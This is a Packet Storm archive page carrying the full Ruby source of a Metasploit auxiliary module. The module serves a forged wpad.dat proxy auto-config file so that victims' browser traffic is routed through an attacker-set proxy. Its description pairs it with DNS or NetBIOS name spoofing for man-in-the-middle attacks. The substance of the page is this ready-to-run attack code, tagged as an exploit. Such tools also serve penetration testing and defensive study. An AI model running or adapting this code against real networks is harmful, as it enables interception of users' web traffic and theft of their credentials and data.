what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WPAD.dat File Server

WPAD.dat File Server
Posted Aug 31, 2024
Authored by Efrain Torres | Site metasploit.com

This Metasploit module generates a valid wpad.dat file for WPAD mitm attacks. Usually this module is used in combination with DNS attacks or the NetBIOS Name Service Spoofer module. Please remember as the server will be running by default on TCP port 80 you will need the required privileges to open that port.

tags | exploit, tcp
SHA-256 | dea84a22b01768d6a2d562778fdb7f6500af85950b2379daed227689d270ea29

WPAD.dat File Server

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'WPAD.dat File Server',
'Description' => %q{
This module generates a valid wpad.dat file for WPAD mitm
attacks. Usually this module is used in combination with DNS attacks
or the 'NetBIOS Name Service Spoofer' module. Please remember as the
server will be running by default on TCP port 80 you will need the
required privileges to open that port.
},
'Author' =>
[
'et' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SRVPORT' => 80
},
'Passive' => true))

register_options(
[
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ])
])

deregister_options('URIPATH')
end


def on_request_uri(cli, request)
vprint_status("Request '#{request.method} #{request.headers['user-agent']}")

return send_not_found(cli) if request.method == "POST"

html = <<-EOS
function FindProxyForURL(url, host) {
// URLs within this network are accessed directly
if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}"))
{
return "DIRECT";
}
return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT";
}
EOS

print_status("Sending WPAD config")
send_response_html(cli, html,
{
'Content-Type' => 'application/x-ns-proxy-autoconfig'
})
end

def resource_uri
"/wpad.dat"
end

def primer
hardcoded_uripath("/proxy.pac")
end

def run
# This should probably be added to the Http mixin's run method
begin
exploit
rescue Errno::EACCES => e
if e.message =~ /Permission denied - bind/
print_error("You need to have permission to bind to #{datastore['SRVPORT']}")
else
raise e
end
end
end
end

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close